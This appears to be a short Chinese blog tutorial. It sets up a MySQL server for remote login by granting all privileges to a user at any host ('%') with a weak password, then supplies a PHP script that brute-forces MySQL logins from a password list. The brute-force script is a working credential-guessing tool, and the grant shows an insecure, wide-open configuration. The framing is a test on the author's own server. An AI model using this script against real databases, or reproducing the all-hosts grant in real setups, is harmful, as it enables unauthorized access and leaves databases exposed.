0x1. 配置mysql

可以看到,如果不设置远程访问,只能自己本地可以访问自己的mysql。

1

所以要增加一个user,使所有host都可以访问。

用户名为xxoo,密码为asdf1234,建议别增加root用户名的。
GRANT ALL PRIVILEGES ON *.* TO 'xxoo'@'%' IDENTIFIED BY 'asdf1234' WITH GRANT OPTION;

再select一下,可以发现多了一个xxoo用户,host为%,设置好了过后。就可以远程连接了。

2

连接测试,ok,可以连接的。
语法为:mysql.exe -u 用户名 -h host -p

3

0x2. 爆破脚本

php版本

<?phpset_time_limit(0);error_reporting(E_ERROR);if($argc!=2){     print_r('================================================================================Usage: php '.$argv[0].' host passfileshost: (ip/hostname)passfiles: password filesExample: php '.$argv[0].' localhost C:\pass.txt================================================================================');die;}$file=$argv[1];$user="xxoo";                                   $password=file($file);                          echo $host;for($i=0;$i<count($password);$i++){    $pass=str_replace("\r\n","",$password[$i]);     echo $pass."\r\n";    connect($user,$pass);    flush();}if($errno==0)    echo "crack failed";function connect($user,$pass){    global $errno;    $conn=@mysql_connect("xx.xx.xx.xx",$user,$pass);        if($conn)        {            $errno=1;            echo $host."crack success,pass: ".$pass;            die;        }        else            $errno=0;}?>

4

0x3. 测试环境

系统:云服务器(win server 2008)
mysql版本:5.5.8

0x4. 总结

mysql环境配置问题一般有:

  1. 防火墙

  2. 远程访问权限

  3. 密码